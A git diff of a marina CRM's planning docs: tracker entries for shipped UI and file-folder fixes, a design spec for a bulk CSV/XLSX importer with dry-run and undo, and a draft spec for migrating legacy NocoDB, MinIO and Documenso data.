- **SHIPPED (foundation only — phase 1/3) in e91055f, phases 2/3 in 0ed03fc:** migration `0078_files_interest_id.sql` adds `files.interest_id` text REFERENCES interests(id) ON DELETE SET NULL + indexes `idx_files_interest` + `idx_files_port_interest`. Drizzle schema picks up the column + `interestId` field. `EntityType` widened to include `'interest'` — `ensureEntityFolder('interest', ...)` recursively ensures the parent client folder first so the tree reads `Clients/<Name>/Deal <mooringNumber>/` nested. `resolveEntityDisplayName` derives the deal label from the primary berth via dynamic-import of `getPrimaryBerth` (circular-dep dodge), falling back to `Deal <YYYY-MM-DD>`. **Phases 2/3 SHIPPED in 0ed03fc:** UploadZone scope radio (`<FileUploadZone>` accepts optional `interestId`; when set, fieldset renders "File at: ⦿ This deal | ◯ Client-level"; default deal-scope so deal-specific docs don't bleed across historical interests of the client; interest FK forwarded only when "This deal" selected). Outcome → folder rename hook: `renameInterestFolderForOutcome(interestId, portId, outcome)` strips prior outcome suffix then appends (Won)/(Lost)/(Cancelled); fired fire-and-forget from `interests.service.setInterestOutcome` via dynamic import (circular-dep dodge); no-op when folder hasn't been created yet. Backfill script: `scripts/backfill-nested-document-folders.ts` iterates every (port_id, interest_id) pair in `files` with non-null interest_id and calls `ensureEntityFolder`; idempotent via per-port advisory lock (FNV-1a of port_id); dry-run by default, `--apply` to commit. **Still deferred:** `listFilesAggregatedByEntity` rewrite for "This deal" vs "From client" subheadings (UI polish; per-row filing already correct); Documents Hub tree rendering for nested interest folders (rows exist with parent_id; tree component picks them up automatically).
|
||||||
|
- **Final phase SHIPPED in this session:** `listFiles` now accepts an optional `interestId` filter (validator + service); `listFilesAggregatedByEntity` accepts `entityType='interest'` and routes to a new helper that returns "THIS DEAL" + "FROM CLIENT" + symmetric-reach company/yacht groups. `InterestDocumentsTab` Attachments section now fires two paginated queries (one scoped to `?interestId=<X>`, one scoped to `?clientId=<C>`), filters the client list to drop duplicates, and renders the two cohorts under "This deal" / "From client" subheadings. `FileRow` exposes the optional `interestId` so the de-dupe filter works without a re-fetch. Tree rendering in Documents Hub still relies on the tree component picking up child folders by `parent_id` (which already works); no additional UI surgery needed.
|
||||||
9. **SHIPPED in c14f80a (Q58):** `<SelectTrigger>` now accepts `size?: 'default' | 'sm'`; default = `h-11` so trigger matches Input's h-11 default. Existing compact call sites (FilterBar, dense table headers) opt back in via `size="sm"`. Nothing else breaks. **[medium] SelectTrigger height (`h-9`) doesn't match Input height (`h-11`) — platform-wide visual inconsistency** — _src/components/ui/select.tsx:22_ (SelectTrigger default `h-9` = 36px) + _src/components/ui/input.tsx:18_ (Input default `h-11` = 44px). Every form where an Input sits next to a Select has an 8px height mismatch. Surfaced specifically on _src/components/expenses/expense-form-dialog.tsx:222-247_ (the Amount + Currency two-column row) but affects ALL such combinations across the platform. Fixing locally with `className="h-11"` on each call site is a sweep over dozens of spots and creates drift the next time someone copies the pattern.
|
9. **SHIPPED in c14f80a (Q58):** `<SelectTrigger>` now accepts `size?: 'default' | 'sm'`; default = `h-11` so trigger matches Input's h-11 default. Existing compact call sites (FilterBar, dense table headers) opt back in via `size="sm"`. Nothing else breaks. **[medium] SelectTrigger height (`h-9`) doesn't match Input height (`h-11`) — platform-wide visual inconsistency** — _src/components/ui/select.tsx:22_ (SelectTrigger default `h-9` = 36px) + _src/components/ui/input.tsx:18_ (Input default `h-11` = 44px). Every form where an Input sits next to a Select has an 8px height mismatch. Surfaced specifically on _src/components/expenses/expense-form-dialog.tsx:222-247_ (the Amount + Currency two-column row) but affects ALL such combinations across the platform. Fixing locally with `className="h-11"` on each call site is a sweep over dozens of spots and creates drift the next time someone copies the pattern.
|
||||||
- **Fix (platform-wide):** introduce a `size` variant on SelectTrigger mirroring Button's idiom — `<SelectTrigger size="default" | "sm">`. Default to `"default"` = `h-11` so it pairs with the Input default out of the box. Migrate explicitly-compact uses (filter bars, dense table headers) to pass `size="sm"` = `h-9` to preserve their current density.
|
- **Fix (platform-wide):** introduce a `size` variant on SelectTrigger mirroring Button's idiom — `<SelectTrigger size="default" | "sm">`. Default to `"default"` = `h-11` so it pairs with the Input default out of the box. Migrate explicitly-compact uses (filter bars, dense table headers) to pass `size="sm"` = `h-9` to preserve their current density.
|
||||||
- **Audit step:** grep every `<SelectTrigger>` and `<Select>` call site; flag the ones in compact contexts (FilterBar, DataTable header dropdowns, dense admin lists) for the `size="sm"` override; everything else inherits the new h-11 default.
|
- **Audit step:** grep every `<SelectTrigger>` and `<Select>` call site; flag the ones in compact contexts (FilterBar, DataTable header dropdowns, dense admin lists) for the `size="sm"` override; everything else inherits the new h-11 default.
|
||||||
@@ -825,6 +1093,13 @@ _Functional defects. Tag each with `[critical|high|medium|low]` prefix._
|
|||||||
- **Effort:** ~10 min for the move + verify (no code change, just file relocation + manual click-through). Captured 2026-05-21 from UAT.
|
- **Effort:** ~10 min for the move + verify (no code change, just file relocation + manual click-through). Captured 2026-05-21 from UAT.
|
||||||
- **SHIPPED in 2d57417:** route relocated via `git mv` to `src/app/public/supplemental-info/[token]/page.tsx`. URL `/public/supplemental-info/<token>` unchanged (route groups don't affect URLs). Sweep of `src/app/(portal)/` confirmed no other public token routes were similarly nested.
|
- **SHIPPED in 2d57417:** route relocated via `git mv` to `src/app/public/supplemental-info/[token]/page.tsx`. URL `/public/supplemental-info/<token>` unchanged (route groups don't affect URLs). Sweep of `src/app/(portal)/` confirmed no other public token routes were similarly nested.
|
||||||
12. **[high] Command-search quick-create buttons routed to dead `/new` pages** — _src/components/search/command-search.tsx_ — ZeroState "New client/yacht/company" buttons pushed `/<entity>/new?name=…` which matched the `[id]` dynamic segment and rendered the entity-not-found page. Fixed by switching to `/<entity>?create=1&prefill_name=…` (the existing `useCreateFromUrl` convention) + adding `prefill` prop support to `YachtForm` + `CompanyForm` and wiring `prefill_name` reads in their list components. Now correctly pops the create sheet pre-filled. Fixed in this session.
|
12. **[high] Command-search quick-create buttons routed to dead `/new` pages** — _src/components/search/command-search.tsx_ — ZeroState "New client/yacht/company" buttons pushed `/<entity>/new?name=…` which matched the `[id]` dynamic segment and rendered the entity-not-found page. Fixed by switching to `/<entity>?create=1&prefill_name=…` (the existing `useCreateFromUrl` convention) + adding `prefill` prop support to `YachtForm` + `CompanyForm` and wiring `prefill_name` reads in their list components. Now correctly pops the create sheet pre-filled. Fixed in this session.
|
||||||
|
13. **[high] Dashboard widget cross-group reorder silently ignored by the Customize modal** — _src/components/dashboard/customize-widgets-menu.tsx:113-136_ vs _src/components/dashboard/dashboard-shell.tsx:88-90_ — the Customize modal exposes a single flat `SortableContext` over ALL visible widgets, so a rep can drag (e.g.) "My Reminders" (rail) above "Pipeline Funnel" (chart). The new order persists correctly (`setOrder(...)` → `dashboardWidgetOrder` PATCH → optimistic cache update), and `visibleWidgets` recomputes sorted by rank. BUT the shell then re-buckets `visibleWidgets.filter(w => w.group === 'chart' | 'rail' | 'feed')` into three independent slots before rendering — so any cross-group reorder leaves the dashboard visually unchanged. Intra-group reorders DO work (within charts column, within rails aside, within feed). User-perceived bug: "rearranging apps in the customize modal still does not change the order of them."
|
||||||
|
- **Decision needed** before fixing — two viable directions:
|
||||||
|
- **(a) Flatten the dashboard layout** to a single ordered grid (drop the chart/rail/feed bucketing). Honour the rep's exact order across the whole page. Implementation: replace the three-block layout in DashboardShell with one auto-fit grid + per-widget span hints on the registry (`{ colSpan: 1 | 2 | 'full' }`); rails would naturally widen to their hinted column count, feed becomes a `col-span-full` row. Bigger UI surgery, but most honest semantics.
|
||||||
|
- **(b) Scope the Customize modal sortable to per-group sub-lists.** Render three SortableContexts ("Charts", "Rails", "Feed") inside the modal, each with its own drag handles. Cross-group moves disallowed (or shown as a toggle to move a widget between groups). Smaller code change but loses the flexibility the current UI implies.
|
||||||
|
- **Recommended:** (b) for the short-term fix (matches the actual rendering reality), with (a) parked as a v2 follow-up after we see whether reps actually want the flat layout.
|
||||||
|
- **Effort:** ~30-45 min for (b); ~3-4 h for (a) including registry schema bump + responsive layout audit. Captured 2026-05-22 from UAT.
|
||||||
|
- **SHIPPED in this session:** combined approach. At xl viewports the Customize modal renders three region-scoped sortables (Charts / Side rail / Activity) — matches the actual side-by-side dashboard layout. Below xl where the dashboard stacks all three regions into one visual column, the modal renders a single flat sortable so the rep can drag across regions freely. Plus per-viewport saved orders: `userPreferences.dashboardWidgetOrder` (xl/desktop) + new `dashboardWidgetOrderMobile` (stacked), so reps can customize each layout independently. The hook auto-picks the right field based on viewport.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
1147
docs/superpowers/plans/2026-06-02-reports-polish.md
Normal file
1147
docs/superpowers/plans/2026-06-02-reports-polish.md
Normal file
File diff suppressed because it is too large
Load Diff
168
docs/superpowers/specs/2026-06-01-bulk-import-design.md
Normal file
168
docs/superpowers/specs/2026-06-01-bulk-import-design.md
Normal file
@@ -0,0 +1,168 @@
|
|||||||
|
# Bulk CSV/XLSX Importer — Design Spec
|
||||||
|
|
||||||
|
> **Status:** Approved (2026-06-01) · ready for implementation plan
|
||||||
|
> **Driver:** Replace the static `admin/import` mockup with a real
|
||||||
|
> self-serve importer. Primary purpose: **one-time cutover migration**
|
||||||
|
> of legacy NocoDB/portal data into the new CRM at launch.
|
||||||
|
> **Tracker:** `docs/launch-readiness.md` · feature-completeness batch.
|
||||||
|
|
||||||
|
## Purpose & scope
|
||||||
|
|
||||||
|
A visual importer that ingests CSV/XLSX exports of the legacy system and
|
||||||
|
loads them into the CRM with column-mapping, dry-run preview, dedup, and
|
||||||
|
per-batch undo. Built for the cutover migration but engineered as a
|
||||||
|
reusable engine (it can serve ongoing ops later without a rewrite).
|
||||||
|
|
||||||
|
**In scope — seven entities**, imported in dependency order so foreign
|
||||||
|
keys resolve by natural key:
|
||||||
|
|
||||||
|
| # | Entity | Dedup match-key | FKs resolved by natural key |
|
||||||
|
| --- | --------------- | ---------------------------------------------------------------- | --------------------------------------- |
|
||||||
|
| 1 | Companies | `name` (case-insensitive) | — |
|
||||||
|
| 2 | Clients | primary `email` → fallback canonical `phone` | — |
|
||||||
|
| 3 | Yachts | `name` + owner (or HIN if present) | owner → client email / company name |
|
||||||
|
| 4 | Berths | `mooringNumber` (canonical `^[A-Z]+\d+$`) | — |
|
||||||
|
| 5 | Interests/deals | default **create-new** (flag likely dupes by client+berth+stage) | client → email, primary berth → mooring |
|
||||||
|
| 6 | Tenancies | client + berth + `startDate` | client → email, berth → mooring |
|
||||||
|
| 7 | Expenses | `date` + `amount` + `description` (or none) | — |
|
||||||
|
|
||||||
|
Berths are included for UI consistency even though
|
||||||
|
`scripts/import-berths-from-nocodb.ts` already covers them via CLI.
|
||||||
|
|
||||||
|
**Non-goals (v1):** full pre-update snapshot/revert of _updated_ rows
|
||||||
|
(undo covers inserts only); streaming multi-GB files (migration files
|
||||||
|
are small); scheduling/automation of imports; importing attachments/PDFs
|
||||||
|
(handled by the Initiative 5 MinIO backfill scripts, separate).
|
||||||
|
|
||||||
|
## Architecture — generic engine + per-entity adapter registry
|
||||||
|
|
||||||
|
One pipeline parameterised by a per-entity **adapter**, mirroring the
|
||||||
|
existing `src/lib/reports/custom/registry.ts` and settings-registry
|
||||||
|
patterns.
|
||||||
|
|
||||||
|
`src/lib/import/registry.ts` exports `IMPORT_ENTITY_KEYS` and
|
||||||
|
`IMPORT_REGISTRY: Record<ImportEntityKey, ImportAdapter>`. Each adapter:
|
||||||
|
|
||||||
|
```ts
|
||||||
|
interface ImportAdapter {
|
||||||
|
key: ImportEntityKey;
|
||||||
|
label: string;
|
||||||
|
order: number; // dependency order (companies=1 … expenses=7)
|
||||||
|
dependsOn: ImportEntityKey[];
|
||||||
|
/** Target fields drive the column-mapping UI + zod validation. */
|
||||||
|
targetFields: ImportField[]; // { key, label, required, type, zod }
|
||||||
|
/** Natural key used for dedup + as the FK-resolution lookup value. */
|
||||||
|
matchKey: (row: MappedRow) => string | null;
|
||||||
|
/** Resolve FK ids by natural key against the live DB. Returns ids or a
|
||||||
|
* per-field resolution error. */
|
||||||
|
resolveForeignKeys: (row: MappedRow, ctx: ImportCtx) => Promise<FkResult>;
|
||||||
|
/** Dedup lookup — find an existing row by matchKey within the port. */
|
||||||
|
findExisting: (portId: string, matchKey: string) => Promise<{ id: string } | null>;
|
||||||
|
/** Writes delegate to the EXISTING service helpers so audit logging,
|
||||||
|
* validation, and polymorphic-ownership rules come for free. */
|
||||||
|
insert: (row: ResolvedRow, ctx: ImportCtx) => Promise<{ id: string }>;
|
||||||
|
update: (existingId: string, row: ResolvedRow, ctx: ImportCtx) => Promise<void>;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Adding an entity = adding one adapter + registering it. No engine change.
|
||||||
|
|
||||||
|
## Pipeline (BullMQ `import` queue, concurrency 1)
|
||||||
|
|
||||||
|
The queue + worker already exist (`src/lib/queue/workers/import.ts` is
|
||||||
|
currently a documented no-op). We replace the no-op body with the real
|
||||||
|
processor and add a producer.
|
||||||
|
|
||||||
|
1. **Upload & parse.** Drag-drop CSV/XLSX → parse (papaparse for CSV;
|
||||||
|
**ExcelJS already installed** for XLSX) → raw rows. The uploaded file
|
||||||
|
is stored via `getStorageBackend()` under a temp prefix so the worker
|
||||||
|
can re-read it; cleaned up after commit or on expiry.
|
||||||
|
2. **Map columns.** Auto-suggest mappings by fuzzy header match to the
|
||||||
|
adapter's `targetFields`; user overrides; **save mapping as a per-port
|
||||||
|
template** (`import_mappings`) for re-runs.
|
||||||
|
3. **Dry-run (no writes).** Per row: apply mapping → zod-validate →
|
||||||
|
`resolveForeignKeys` → `findExisting` → classify as
|
||||||
|
`will-insert | will-update | will-skip | error(line, reason)`. Surface
|
||||||
|
counts + a sample of rows + a downloadable line-numbered error report.
|
||||||
|
4. **Commit.** Producer enqueues the job; the worker streams rows applying
|
||||||
|
the chosen **conflict policy** (`skip-matches` / `update-matches` /
|
||||||
|
`error-on-match`) via the adapter's `insert`/`update`. Per-row try/catch
|
||||||
|
so valid rows still land; every action recorded in `import_batch_rows`;
|
||||||
|
`import_batches` updated with live progress + final counts.
|
||||||
|
5. **History + Undo.** Admin list of batches (status, counts, error-report
|
||||||
|
download). **Undo** deletes the rows a batch _inserted_, in reverse
|
||||||
|
dependency order, refusing if any inserted row now has dependents
|
||||||
|
created outside the batch. Updates are marked non-revertible in v1.
|
||||||
|
|
||||||
|
## Data model (3 new tables; no changes to entity tables)
|
||||||
|
|
||||||
|
- **`import_batches`** — `id, port_id, entity_type, filename, storage_key,
|
||||||
|
status (uploaded|dry_run|committing|completed|failed|undone),
|
||||||
|
total_rows, inserted, updated, skipped, errored, mapping_json,
|
||||||
|
conflict_policy, created_by, created_at, completed_at`.
|
||||||
|
- **`import_batch_rows`** — `id, batch_id, row_number, action
|
||||||
|
(inserted|updated|skipped|errored), entity_id (nullable), error
|
||||||
|
(nullable)`. Powers the error report + undo. Migration-scale volume is
|
||||||
|
fine.
|
||||||
|
- **`import_mappings`** — `id, port_id, entity_type, name, mapping_json,
|
||||||
|
created_by, created_at`. Saved column mappings, reusable across runs.
|
||||||
|
|
||||||
|
Migration added via the project's `psql`-applied numbered migration flow;
|
||||||
|
restart `next dev` after (prepared-statement cache caveat per CLAUDE.md).
|
||||||
|
|
||||||
|
## Validation, errors, conflict policy
|
||||||
|
|
||||||
|
- **Per-row zod** from each adapter's `targetFields`; failures collected
|
||||||
|
with row number + field + message, never aborting the whole file.
|
||||||
|
- **Downloadable error report** (CSV: row, field, message) from any
|
||||||
|
dry-run or completed batch.
|
||||||
|
- **Conflict policy** chosen per import, surfaced at the dry-run step
|
||||||
|
(three distinct behaviours for a matched row):
|
||||||
|
- `skip-matches` — insert new, leave matched rows untouched. Default;
|
||||||
|
safe to re-run.
|
||||||
|
- `update-matches` — insert new, overwrite matched rows with the file's
|
||||||
|
values (correct earlier mistakes).
|
||||||
|
- `error-on-match` — treat a match as a row error to review, importing
|
||||||
|
nothing for it (strictest).
|
||||||
|
|
||||||
|
## UI
|
||||||
|
|
||||||
|
A 4-step wizard mirroring the existing **bulk-add-berths wizard**:
|
||||||
|
|
||||||
|
1. Pick entity (registry-driven, shown in dependency order with a hint) +
|
||||||
|
upload file.
|
||||||
|
2. Map columns (auto-suggested; load a saved mapping; save current).
|
||||||
|
3. Dry-run preview — counts (new / update / skip / error), sample table,
|
||||||
|
error-report download, pick conflict policy.
|
||||||
|
4. Commit — progress bar (worker reports % via batch counts) → result
|
||||||
|
summary with link to History.
|
||||||
|
|
||||||
|
Plus an **Import History** tab: batch list + status + counts + error
|
||||||
|
report + **Undo**. Replaces the static mockup at
|
||||||
|
`src/app/(dashboard)/[portSlug]/admin/import/page.tsx`.
|
||||||
|
|
||||||
|
## Permissions & tenancy
|
||||||
|
|
||||||
|
Gate behind a new `data.import` permission (admin-tier). Every query +
|
||||||
|
write is `port_id`-scoped; FK resolution only matches within the port.
|
||||||
|
|
||||||
|
## Testing (TDD)
|
||||||
|
|
||||||
|
- **Per-adapter unit tests** (one suite each): column mapping, zod
|
||||||
|
validation (valid + each failure mode), `matchKey`, `resolveForeignKeys`
|
||||||
|
(hit / miss / ambiguous), `findExisting` dedup.
|
||||||
|
- **Dry-run classifier integration test** on a seeded DB: a fixture file
|
||||||
|
yielding one of each class (insert / update / skip / error).
|
||||||
|
- **Commit worker integration test**: each conflict policy; partial-failure
|
||||||
|
(valid rows land, errored rows reported); idempotent re-run.
|
||||||
|
- **Undo test**: deletes inserted rows; refuses when an inserted row has an
|
||||||
|
outside dependent.
|
||||||
|
|
||||||
|
## Decisions locked (defaults the user approved 2026-06-01)
|
||||||
|
|
||||||
|
- Rollback depth: **inserts-only undo**; updates non-revertible in v1.
|
||||||
|
- Partial failure: **valid rows commit**, errors reported (not
|
||||||
|
all-or-nothing).
|
||||||
|
- Berths: **included** in the UI importer despite the existing CLI.
|
||||||
|
- All seven entities in scope.
|
||||||
|
- Purpose: one-time cutover migration (engine reusable for ongoing ops).
|
||||||
@@ -0,0 +1,212 @@
|
|||||||
|
# Legacy → New CRM Data Migration — Design Spec
|
||||||
|
|
||||||
|
> **Status:** DRAFT (2026-06-01) · scope locked · awaiting stage-map sign-off
|
||||||
|
> **Goal:** Translate all live legacy data + reconnect documents/EOIs so the
|
||||||
|
> new CRM "picks up exactly where we left off."
|
||||||
|
> **Companion:** `docs/launch-readiness.md` Initiative 5 · `docs/deployment-plan.md`
|
||||||
|
> **Source snapshot:** read-only `pg_dump` of prod NocoDB at
|
||||||
|
> `private/nocodb-snapshot/` (gitignored), restored locally as `nocodb_legacy`.
|
||||||
|
|
||||||
|
## 1. Source landscape (verified 2026-06-01)
|
||||||
|
|
||||||
|
Legacy data is spread across these systems (portal has **no DB of its own**):
|
||||||
|
|
||||||
|
| System | What | Migrate? |
|
||||||
|
| ------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------- |
|
||||||
|
| **NocoDB "Port Nimara"** base `plplouets5zw1um` | Interests (255), Berths (117), Residences (45), multi-berth junction `_nc_m2m_Berths_Interests` (83), Website subs (Interest 64 / Contact 50 / BerthEOI 1), Newsletter (69), reminder/alert settings | ✅ |
|
||||||
|
| **NocoDB "Expenses"** base `p3hq2fxdevqcaq8` | Expenses (165); `invoices` empty | ✅ |
|
||||||
|
| **MinIO bucket `client-portal`** | EOIs, berth PDFs, receipts, business cards, general files | ✅ (Phase 2) |
|
||||||
|
| **MinIO bucket `signatures`** | Documenso signed PDFs | ✅ (Phase 2) |
|
||||||
|
| **Documenso v1.13.1** | Signing envelopes, linked per-deal by `documensoID` | ✅ (Phase 2) |
|
||||||
|
| 9 other NocoDB bases (Customer_List, Registered Interest, Form Submissions, 2nd Residential, Image Uploads, EOI Queue, …) | Old imports/experiments/backups | ❌ **excluded** — zero code refs; stale 7–14 months |
|
||||||
|
| Gmail (IMAP), Keycloak | Email archive, portal auth | ❌ out of scope (per Matt) |
|
||||||
|
|
||||||
|
**Authority for scope:** the live portal + website code reference table IDs in
|
||||||
|
**only** the two active bases above; the recency check confirms `Interests` is
|
||||||
|
the only actively-written table (last write 2026-05-21).
|
||||||
|
|
||||||
|
**Legacy has no Company entity** (everything is attributed to a person), so the
|
||||||
|
migration creates **clients + yachts (client-owned) + deals** — no companies.
|
||||||
|
|
||||||
|
## 2. Key linking facts
|
||||||
|
|
||||||
|
- **Client + yacht are inline on each Interests row** → extract + dedup.
|
||||||
|
- **`documensoID`** (e.g. `"82"`) on each deal → resolves to Documenso
|
||||||
|
`Envelope.secondaryId = 'document_' || documensoID` (verified: deal
|
||||||
|
`doc=114` → envelope `document_114`). The envelope's completed PDF = the
|
||||||
|
signed EOI. (Prod Documenso = v1.13.1, 140 migrations — confirmed.)
|
||||||
|
- **`Berth Number`** (mooring, e.g. `D31`) + the `_nc_m2m_Berths_Interests`
|
||||||
|
junction → multi-berth links.
|
||||||
|
- **Notes** = inline `Internal Notes` + `Extra Comments` (+ 5 rows in
|
||||||
|
`nc_comments`).
|
||||||
|
- Dedup key for people: **lowercased email → fallback canonical phone**.
|
||||||
|
|
||||||
|
## 3. Phase 1 — NocoDB → new CRM (data)
|
||||||
|
|
||||||
|
Build against the local `nocodb_legacy` snapshot; idempotent; every new row
|
||||||
|
stamped with its `legacy_nocodb_id` (add a nullable column or a side mapping
|
||||||
|
table `migration_id_map(entity, legacy_id, new_id)`).
|
||||||
|
|
||||||
|
**Import order (FK-safe):** clients → yachts → interests → interest_berths →
|
||||||
|
notes → residential → expenses → website_submissions → settings.
|
||||||
|
|
||||||
|
### 3.1 Clients (from Interests, deduped)
|
||||||
|
|
||||||
|
Source fields → `clients`: `Full Name`→fullName (title-cased via the legacy
|
||||||
|
`normalizePersonName` rule), `Email Address`→primary email, `Phone Number`→
|
||||||
|
canonical phone, `Address`+`Place of Residence`→address/locality,
|
||||||
|
`Contact Method Preferred`→preferredContactMethod, `Source`→source,
|
||||||
|
`Lead Category`→(deal-level, see below). **Dedup:** group all 255 interests by
|
||||||
|
lowercased email (fallback canonical phone); one client per unique person,
|
||||||
|
N deals.
|
||||||
|
|
||||||
|
### 3.2 Yachts (from Interests)
|
||||||
|
|
||||||
|
`Yacht Name`→name (skip `TBC`/blank), `Length`/`Width`/`Depth`→dims. **Unit
|
||||||
|
note:** legacy stores strings like `"50ft"` — parse number + unit, convert ft→m
|
||||||
|
to match the berth/yacht numeric schema (store original string in a note if
|
||||||
|
ambiguous). Owner = the deduped client (polymorphic `client`).
|
||||||
|
|
||||||
|
### 3.3 Interests / deals
|
||||||
|
|
||||||
|
- **Stage:** map `Sales Process Level` (8) → new 7-stage pipeline — **see §4
|
||||||
|
(needs sign-off).**
|
||||||
|
- `Lead Category` (General / Friends and Family)→leadCategory, `Source`→source.
|
||||||
|
- Statuses: `EOI Status`, `Deposit 10% Status`, `Contract Status`,
|
||||||
|
`Contract Sent Status`, `Berth Info Sent Status` → drive stage + the new
|
||||||
|
EOI/contract/deposit fields; `Deposit 10% Status='Received'` → a `payments`
|
||||||
|
row (deposit) + auto-advance.
|
||||||
|
- Dates: `Date Added`/`Created At`→createdAt (DD-MM-YYYY → ISO; many are null —
|
||||||
|
fall back to Documenso/earliest signal), `EOI Time Sent`, `Time LOI Sent`.
|
||||||
|
- `documensoID` → stored for Phase 2 EOI relink.
|
||||||
|
- **Outcome:** `Sales Process Level='Contract Signed'` + deposit/contract
|
||||||
|
complete → won; otherwise open. (No explicit "lost" in legacy.)
|
||||||
|
|
||||||
|
### 3.4 interest_berths (multi-berth)
|
||||||
|
|
||||||
|
From `_nc_m2m_Berths_Interests` (83 links) → `interest_berths` via
|
||||||
|
`interestBerthsService`. `is_primary` = the `Berth Number` plain-text mooring
|
||||||
|
(or first link); `is_in_eoi_bundle` = true for signed/sent EOIs. Resolve berth
|
||||||
|
by mooring against the migrated 117 berths.
|
||||||
|
|
||||||
|
### 3.5 Notes
|
||||||
|
|
||||||
|
`Internal Notes` + `Extra Comments` (and `nc_comments`) → `interestNotes` via
|
||||||
|
`notes.service`, preserving original timestamps where present.
|
||||||
|
|
||||||
|
### 3.6 Residential
|
||||||
|
|
||||||
|
`Interests (Residences)` (45) → `residential_clients` + `residential_interests`
|
||||||
|
(dedup by email). The 2nd residential base (16 rows) is **excluded** (stale).
|
||||||
|
|
||||||
|
### 3.7 Expenses
|
||||||
|
|
||||||
|
`Expenses` base (165) → the expenses module. Map Time→date, Payer→payer,
|
||||||
|
Category→category, Price (string `"€1,234"`)→numeric+currency. Receipts linked
|
||||||
|
in Phase 2 (the `Receipts` images live in MinIO).
|
||||||
|
|
||||||
|
### 3.8 Website submissions + settings
|
||||||
|
|
||||||
|
Website Interest/Contact/BerthEOI subs → `website_submissions`. `reminder_settings`
|
||||||
|
/`alert_settings` → best-effort into `system_settings`.
|
||||||
|
|
||||||
|
## 4. Stage mapping (8 → 7) — NEEDS SIGN-OFF
|
||||||
|
|
||||||
|
Legacy `Sales Process Level` → new pipeline stage (proposed):
|
||||||
|
|
||||||
|
| Legacy | New stage |
|
||||||
|
| ------------------------------- | --------------------------- |
|
||||||
|
| General Qualified Interest | `qualified` |
|
||||||
|
| Specific Qualified Interest | `nurturing` |
|
||||||
|
| EOI and NDA Sent | `eoi` |
|
||||||
|
| Signed EOI and NDA | `eoi` (EOI signed) |
|
||||||
|
| Made Reservation | `reservation` |
|
||||||
|
| Contract Negotiation | `reservation` → `contract`? |
|
||||||
|
| Contract Negotiations Finalized | `contract` |
|
||||||
|
| Contract Signed | `contract` (won) |
|
||||||
|
|
||||||
|
Open questions for Matt: (a) is "General Qualified Interest" really `qualified`
|
||||||
|
or should some map to `enquiry`? (b) does "Contract Negotiation" belong in
|
||||||
|
`reservation` or `contract`? (c) treat `Contract Signed` as a closed-won
|
||||||
|
outcome?
|
||||||
|
|
||||||
|
## 5. Phase 2 — documents & EOIs (MinIO inventoried 2026-06-01)
|
||||||
|
|
||||||
|
Documents live in **three** MinIO buckets (verified):
|
||||||
|
|
||||||
|
- **`client-portal`** (248 objects, 240 MB) — cleanly foldered: `Berth-PDFs/`
|
||||||
|
(114, mooring in filename), `EOIs/` (95 signed EOIs foldered by client name),
|
||||||
|
`Client Documents/` (6), `Legal/` (14), `expense-sheets/` (2),
|
||||||
|
`client-emails/` (3 sent-email JSONs keyed `interest-<id>`).
|
||||||
|
- **`signatures`** (323) — Documenso's raw per-envelope store (many test dupes —
|
||||||
|
secondary source).
|
||||||
|
- **`database`** — NocoDB's own attachment store at
|
||||||
|
`database/nc/uploads/noco/plplouets5zw1um/mbs9hjauug4eseo/cjzx7y2h9sxwd0n/…`
|
||||||
|
(field `cjzx7y2h9sxwd0n` = `EOI_Document`). **This is where the pre-Documenso
|
||||||
|
("before/aside") signed EOIs live**, as NocoDB attachments.
|
||||||
|
|
||||||
|
**EOI coverage — verified, no missing signed EOI.** Of 255 interests, 48 are
|
||||||
|
EOI-signed; every one resolves to a recoverable PDF:
|
||||||
|
|
||||||
|
1. **~38 via `documensoID`** → `Envelope.secondaryId='document_'||id` →
|
||||||
|
completed PDF (+ curated copy in `client-portal/EOIs/<name>/`).
|
||||||
|
2. **~10 old LOI-process deals** (no documensoID, `LOI=Signing Complete`) →
|
||||||
|
`EOI_Document` attachment in the **`database`** bucket.
|
||||||
|
3. **3 via explicit `S3_Documenso_Path`** → `client-portal/EOIs/`.
|
||||||
|
|
||||||
|
Backfill order per deal: prefer the curated `client-portal/EOIs/` copy → fall
|
||||||
|
back to Documenso (by secondaryId) → then the NocoDB `database` attachment. Each
|
||||||
|
→ store via `getStorageBackend()` → `files`+`documents` rows → `ensureEntityFolder`.
|
||||||
|
Still run a file↔deal reconciliation to flag orphan EOI files + confirm each
|
||||||
|
envelope PDF actually downloads.
|
||||||
|
|
||||||
|
4. **Berth PDFs:** `client-portal/Berth-PDFs/` (114) → `berth_pdf_versions`
|
||||||
|
(mooring parsed from filename).
|
||||||
|
5. **Receipts / business cards:** NOT in `client-portal` — likely in `forms`/
|
||||||
|
`images`/`directus` buckets (OpnForm uploads). Hunt only if wanted.
|
||||||
|
6. Unresolved → manual-review CSV.
|
||||||
|
|
||||||
|
### ⚠ Crossover gate — in-flight Documenso signings
|
||||||
|
|
||||||
|
Documenso currently holds **6 PENDING** (sent, awaiting signature) + **6 DRAFT**
|
||||||
|
envelopes (of 58 total; 46 COMPLETED). PENDING: Thomas Nemic (2026-02-04), Davy
|
||||||
|
Morée (2025-11-28), Matthew Ciaccio (2025-11-24), Ben Sturge (2025-10-11), Van
|
||||||
|
der Merwe (2025-10-02), Charles Davis (2025-08-22) — most stale/likely abandoned,
|
||||||
|
only one from 2026. **Before the Documenso upgrade/crossover, review these:** void
|
||||||
|
the dead ones, let any genuine one finish — don't strand an active signature.
|
||||||
|
|
||||||
|
## 6. Verification & reconcile
|
||||||
|
|
||||||
|
**Validated run (2026-06-01, `extract-nocodb.ts`):** 255 interests → **232
|
||||||
|
unique clients** (1.10×; 21 with >1 deal roll up correctly), 39 yachts, 84
|
||||||
|
deal↔berth links (12 multi-berth), 63 notes. Stages 8→7: qualified 171 · eoi 51
|
||||||
|
· nurturing 30 · reservation 2 · contract 1. **EOI coverage 48/48 resolvable.**
|
||||||
|
Signing state (Documenso-authoritative): signed 48 · **awaiting_signature 3**
|
||||||
|
(interests 581/633/639 → migrate as "awaiting" + keep envelope link + display
|
||||||
|
pending) · none 204. Duplicate review: 1 exact-name (Etiennette Clamouze ×2), 0
|
||||||
|
fuzzy. Residential 45→35. Expenses 165 (0 parse fails). Output →
|
||||||
|
`private/migration-output/` (gitignored).
|
||||||
|
|
||||||
|
**In-flight signing display:** the 3 `awaiting_signature` deals load with the
|
||||||
|
